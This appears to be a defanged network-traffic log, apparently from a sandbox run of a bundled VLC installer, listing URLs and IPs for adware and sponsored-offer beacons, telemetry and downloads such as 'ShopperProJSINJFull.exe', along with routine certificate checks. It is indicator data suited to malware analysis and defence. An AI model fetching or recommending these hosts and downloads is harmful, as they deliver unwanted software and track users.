hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/7/c/78x78x7c9d412c730603d1d82b98a548a71bac.png.pagespeed.ic.0mNREhR0t6hPCWrBRAvl.png
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/0/0/78x78x00c73f6d4e4eb25289dddb86e2d1e319.jpg.pagespeed.ic.d0FQ8ZLWOVQUxEW7SL6j.jpg
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/d/a/78x78xda84c206c2019448521379d2ff837774.png.pagespeed.ic.zNOyV3YZBa4c4pZHmvGx.png
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/3/6/78x78x36d7cd00f07003a67021237993257d08.png.pagespeed.ic.cWg2Rji-hSk9fEeSL6Ya.png
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/5/9/78x78x59982d8527c0da41e35817e8fc15c0fc.png.pagespeed.ic.fL2V5qF20YFQXTrbuXvg.png
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/7/e/7e5817bad781bbc2d2e43b350ccb53db.png.pagespeed.ce.qpuXYWo7ZcBLadujlS_v.png
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/5/6/78x78x567f43cb72fe3ac6419369953394cadd.png.pagespeed.ic.uZppn9OyDiD3h_rBjWty.png
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/f/3/78x78xf3ad8b396434c21b4c214fd667ee391d.png.pagespeed.ic.UE0vLEh6vWiEUEcOgEs3.png
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/e/9/78x78xe94782c9200f8de809a50327879df1cc.png.pagespeed.ic.Mr4gF218xk_cqItCCN1L.png
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/d/5/78x78xd586df222f5069b6c396373d67d0163b.png.pagespeed.ic.ydkvzRjn2dlJvFiaNZe1.png
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/b/8/78x78xb85261679e262228a562f693b3e6ef6f.png.pagespeed.ic.4bcRSEMVhrePWbmTPv28.png
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/d/d/78x78xddb3b88cf98eb0220c9e6c252e376749.png.pagespeed.ic.HIjFfmSXODkOzvpOncCx.png
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/b/1/78x78xb147a5a09b49b133d347bd975a4c5616.png.pagespeed.ic.QXzy6NzFeIJWnFBIEjZR.png
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/images/3.5stars.jpg.pagespeed.ce.u3YEB6ujvUgGS-bedVMJ.jpg
hxxp://e6845.ce.akamaiedge.net/pca3.crl
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/images/logo_illust.jpg.pagespeed.ce.z1_aG_Fc9E2Du85_fGKz.jpg
hxxp://googlehosted.l.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/images/btn_bg.jpg.pagespeed.ce.aIEJinchAzMgR9IBpV67.jpg
hxxp://googlehosted.l.googleusercontent.com/beacon?org=123_1_yq&ets=load:3196&rload=3591&nav=0&dns=1&connect=62&req_start=70&ttfb=74&dwld=71&dom_c=3590&nt=0&fp=546&ifr=0&nrp=6&htmlAt=1&s_ttfb=6&id=1418834864830511&url=http://www.appshat.com/home
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY=
hxxp://a1363.g.akamai.net/pki/crl/products/MicCodSigPCA_08-31-2010.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=
hxxp://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEEIa8pQJhBkfUgpLxiQmp0s=	178.255.83.1
hxxp://www.youtubeaccelerator.com/finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE	107.20.238.80
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/images/bg_main.jpg.pagespeed.ce.JxoBZ0-OVe7Q4uq_LJMh.jpg	173.194.44.42
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/b/1/78x78xb147a5a09b49b133d347bd975a4c5616.png.pagespeed.ic.QXzy6NzFeIJWnFBIEjZR.png	173.194.44.42
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=	23.43.139.27
hxxp://2-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/d/a/78x78xda84c206c2019448521379d2ff837774.png.pagespeed.ic.zNOyV3YZBa4c4pZHmvGx.png	216.58.211.33
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/b/8/78x78xb85261679e262228a562f693b3e6ef6f.png.pagespeed.ic.4bcRSEMVhrePWbmTPv28.png	173.194.44.42
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/css/A.style.css.pagespeed.cf.aA84XopnLuCplsgxWdKn.css	173.194.44.42
hxxp://bi.bisrv.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=sourceapp_network&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=2&index_in_screen=1&index_in_session=2&0.5993004843924707	78.138.127.15
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/d/d/78x78xddb3b88cf98eb0220c9e6c252e376749.png.pagespeed.ic.HIjFfmSXODkOzvpOncCx.png	173.194.44.42
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=1&index_in_screen=1&index_in_session=1&0.01999434592486038	78.138.127.15
hxxp://flex.msn.com/mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900	207.46.194.8
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/e/5/78x78xe54e8c720dffffa619c3b0eacec9381a.png.pagespeed.ic.ZQdyYxnfLUYUuPTrA-U2.png	173.194.44.42
hxxp://stats.newstaticinfosrv.com/stats.gif?action=daily&app=65743&bic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&ver=1_35_11_26&installtime=1418834836&os=7&browser=ie&browserver=10&ffver=29&chromever=35&srcid=000820&subid=0&zdata=appshatmadness&appver=16&bgver=1&pluginsver=12&curtime=1418834851&lifetime=15&rnd=4261	54.231.1.204
hxxp://install-cdn.sourceapp.info/sd?is=sm	23.10.252.35
hxxp://d2bt1dcmxj05l2.cloudfront.net/ShopperProJSINJFull.exe	54.230.46.34
hxxp://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE	107.20.238.80
hxxp://www.googleadservices.com/pagead/conversion/971163981/?random=1418834697240&cv=7&fst=1418834697240&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1	173.194.113.217
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=mystartsearch&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=3&index_in_screen=1&index_in_session=3&0.5008168943327742	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=sourceapp_network&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=2&index_in_screen=1&index_in_session=2&display_height=185&0.4803534880991893	78.138.127.15
hxxp://download.filesfrog.com/software_files/vlc/2_0_2/vlc-2.0.2-win32.exe	212.7.199.182
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=sourceapp_network&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=2&index_in_screen=1&index_in_session=2&0.4271952659477635	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=mystartsearch&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=3&index_in_screen=1&index_in_session=3&0.36827897577138213	78.138.127.15
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/css/A.lightbox.css.pagespeed.cf.ygMGUJc3UJo8nRkTykPW.css	173.194.44.42
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=1&index_in_screen=1&index_in_session=1&0.5490156631942105	78.138.127.15
hxxp://2-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/banner/images/assets/c/1/303x148xc16ddcefe8d9f0d1f850dfcd8f36687d.jpg.pagespeed.ic.lwAL2oq89B2IQKWYablA.jpg	216.58.211.33
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/5/2/52d5414e7372639389ab7e9e4d479aee.png.pagespeed.ce.0W_R5npG-ygjyX2J47_Z.png	173.194.44.42
hxxp://www.appshat.com/home	74.125.205.121
hxxp://2-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/0/0/78x78x00c73f6d4e4eb25289dddb86e2d1e319.jpg.pagespeed.ic.d0FQ8ZLWOVQUxEW7SL6j.jpg	216.58.211.33
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/js/jquery.smooth-scroll.min.js.pagespeed.jm.WowFBOF837MdT8jW9Obi.js	173.194.44.42
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc=	93.184.220.29
hxxp://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl	87.245.202.16
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=appshat_madness&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.21850779859180952	78.138.127.15
hxxp://www.youtubeaccelerator.com/img/youtube-accelerator-logo.png	107.20.238.80
hxxp://2-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/banner/images/assets/1/f/303xNx1f8ffa22b53dfc2f6b7f1850bb6b73e8.png.pagespeed.ic.tFX8jwo12PDh1bULrFCd.png	216.58.211.33
hxxp://www.youtubeaccelerator.com/img/accelerating-videos.jpg	107.20.238.80
hxxp://2-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/4/f/78x78x4f263f4be4c4396c9078d1874c05b928.png.pagespeed.ic.bmYMZwCv4nYrtahb4sPP.png	216.58.211.33
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/f/4/78x78xf4e4b853ddab3b763f0af17d513631bd.png.pagespeed.ic.qOS1_AxoxISP5vyxWYJQ.png	173.194.44.42
hxxp://www.googleadservices.com/pagead/conversion.js	173.194.113.217
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=mystartsearch&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=3&index_in_screen=1&index_in_session=3&0.6896073372665273	78.138.127.15
hxxp://2-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/a/c/ace33f0a1eddf74bbe8d1bfac70deded.png.pagespeed.ce.jVbW8Iy_z54HerZlqj8z.png	216.58.211.33
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=1&index_in_screen=1&index_in_session=1&0.8735975270306648	78.138.127.15
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=1ZEnpGuz/ISMcHmf61T/gCWqRVUESB2PXaegU5VU5CBdOfUh X e3KWVb3f653UbhOwHSMAWuSBZkiNlYo4sZfEh6MhNwuPK/q uWdH3fIU5l6kGsLGUjlAO3ZfaMMISzuq57Wrf18cCUt6fQbeFaXsmAKA93Hx924Yf3CyE1By8y8hS 08Cp4zquPWwCukZgQ7P4 BWPQu3sb/Jc9bi4CY6tkU PjWGlHVWy8T0I6XgvyObhcmYFYw26Z5atuimAnMEIuq Dk7/HCbVHUc/oyaJByz/QcKFGfqLqdbaO0OeHUcar4A/UqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRneN3TlMvu4AtZwyUkHrLPg0/niVdnGaSoJgmsLZ3n9ZMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVU7LxXws0eQJzMAArcqP5Z8=	54.197.238.106
hxxp://www.youtubeaccelerator.com/favicon.ico	107.20.238.80
hxxp://bi.bisrv.com/downloader/network_xrwc_1/vlcmediaplayerdmot/f5dab3d74e316e46a59f4bd1d5099978?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=f5dab3d74e316e46a59f4bd1d5099978&muid=96D78F35E7B7EA4FC32736D428DF43B4	78.138.127.15
hxxp://crl.verisign.com/pca3.crl	23.43.133.163
hxxp://bi.bisrv.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=mystartsearch&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=3&index_in_screen=1&index_in_session=3&0.17405234581493806	78.138.127.15
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1418834630&SBPIDS=1&KA=1
hxxp://www.youtubeaccelerator.com/googleanalytics.js	107.20.238.80
hxxp://logs.newstaticinfosrv.com/monetization.gif?event=4&ibic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&campaign=000820&app=65743&bhover=1_35_11_26&xpiver=0_95&crxver=1_26_16&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1418834836&asw=0_1073750533_-2147475456_0&iep=1&chp=na&ffp=1&browser=ff,ie,de,te,tc&rnd=1418834836	69.16.175.42
hxxp://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBSfAP5wz6TZE9AhTecbrorIUEieTwQU3Igt2WxNPQBQM/EVuXj7weahJK8CExkAAAlE5E3bN0hKjHcAAQAACUQ=	108.162.232.202
hxxp://2-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/7/e/7e5817bad781bbc2d2e43b350ccb53db.png.pagespeed.ce.qpuXYWo7ZcBLadujlS_v.png	216.58.211.33
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/f/3/78x78xf3ad8b396434c21b4c214fd667ee391d.png.pagespeed.ic.UE0vLEh6vWiEUEcOgEs3.png	173.194.44.42
hxxp://stats.newstaticinfosrv.com/installer.gif?action=started&app=65743&appver=0&ver=1_35_11_26&version_date=14-12-15&bic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&upi=d5d8d8a61601751d467a5854a16ce35a&procid=BB99702CFD0141EBA74A0A755AB58FECPI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&aver=X&xpiver=0_95&crxver=1_26_16&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350017&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=BadFingerProject&procstarttime=1418834836&procruntime=2&rnd=1418834838	54.231.1.204
hxxp://www.youtubeaccelerator.com/ConversionService/getScript.ashx?s=finish	107.20.238.80
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=4mC0vXGWFtrPpyTTOfle7LBz5mjUTX/Tkz1i8WXcyHOz6uevfqaymmuKg2XFbqUQvoXpSr3iMCuKj C8ts/rB0hhMaluKp 8W3zb5I04l QxLHUkaU066zsPf/PibBcqYrI83FKK/ zn0tXUQ7qlhMWuKKbrHEeupCSIXJh u4z2UKU3nTwyCyIuRCOHnsW/zNpCytBIehjoQMjEUrXmC38tp3djqATVmXFZN21mt4jCW/lCH460cZqItAhOuCTzcaTNODWAVRMQ0yTD4g5ffjxSADWbcPYVb10U ff 6X4jZyRaV4Q4q/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5x 9v0hi6ojl/pUrWo8oa7YkOWJaYwHQq8aHXnj8PuXGoyWUsqTDNGLC1LW8BOlQqkOnOqoXwYYoLATYxu UncMHaxHj5xfqEJ4eo TuM1dc=	54.197.238.106
hxxp://www.youtubeaccelerator.com/ConversionService/GetScript.ashx?s=finish&frame=1&aff=	107.20.238.80
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=1&index_in_screen=1&index_in_session=1&0.673346413233777	78.138.127.15
hxxp://logs.newstaticinfosrv.com/monetization.gif?event=3&ibic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&campaign=000820&app=65743&bhover=1_35_11_26&xpiver=0_95&crxver=1_26_16&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1418834836&asw=0_1073750533_-2147475456_0&browser=ff,ie,de,te,tc&rnd=1418834836	69.16.175.42
hxxp://api.jollywallet.com/affiliate/client?dist=141&sub=iECHwJSsmtycl&name=ShopperPro	54.210.24.175
hxxp://3026708.r.msn.com/?type=1&domainId=3026708&dedup=1&actionid=238238	207.46.194.3
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=mystartsearch&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.43184037303389655	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=sourceapp_network&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=2&index_in_screen=1&index_in_session=2&0.8512605859148192	78.138.127.15
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/a/c/78x78xac5196fbf245580eee113296dff14d0b.png.pagespeed.ic.A5hcD5ZxIijQD8QWvY2v.png	173.194.44.42
hxxp://www.appshat.com/images/64x64.ico	74.125.205.121
hxxp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4	78.138.127.15
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/images/btn_bg.jpg.pagespeed.ce.aIEJinchAzMgR9IBpV67.jpg	173.194.44.42
hxxp://install.sourceapp.info/mg?alpha=ZhhjEzxQJ1lKeVJXTDkzZ1wwHjxmXmFiOxYCFycjFUwidjg3EX5hJmxYYmcZPnh7N0kXbg0Zen5sRkoqdRBZHkkeT39cNzZ3QzZrVi9y	70.186.131.141
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/7/d/78x78x7d4f668f3d1818d01b6b9684b669d0db.png.pagespeed.ic.gGkeGXUraEg5vr5zk3oz.png	173.194.44.42
hxxp://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68=	108.162.232.202
hxxp://install.sourceapp.info/mg?alpha=bRBzElF2ChIQKy8oXDheUlkxAVQzewhbViIkWw==	70.186.131.141
hxxp://2-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/thumbnails/icon/images/assets/0/7/78x78x07fce0a4ff78cc7e6376e227f046ce06.png.pagespeed.ic.hz09jctHczLz0PvLD0tH.png	216.58.211.33
hxxp://1-ps.googleusercontent.com/hk/R2BrCMjs44SBG-5Ct1qUME3DBk/www.appshat.com/images/3.5stars.jpg.pagespeed.ce.u3YEB6ujvUgGS-bedVMJ.jpg	173.194.44.42
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?909ce6d1d01ec385	87.245.202.65
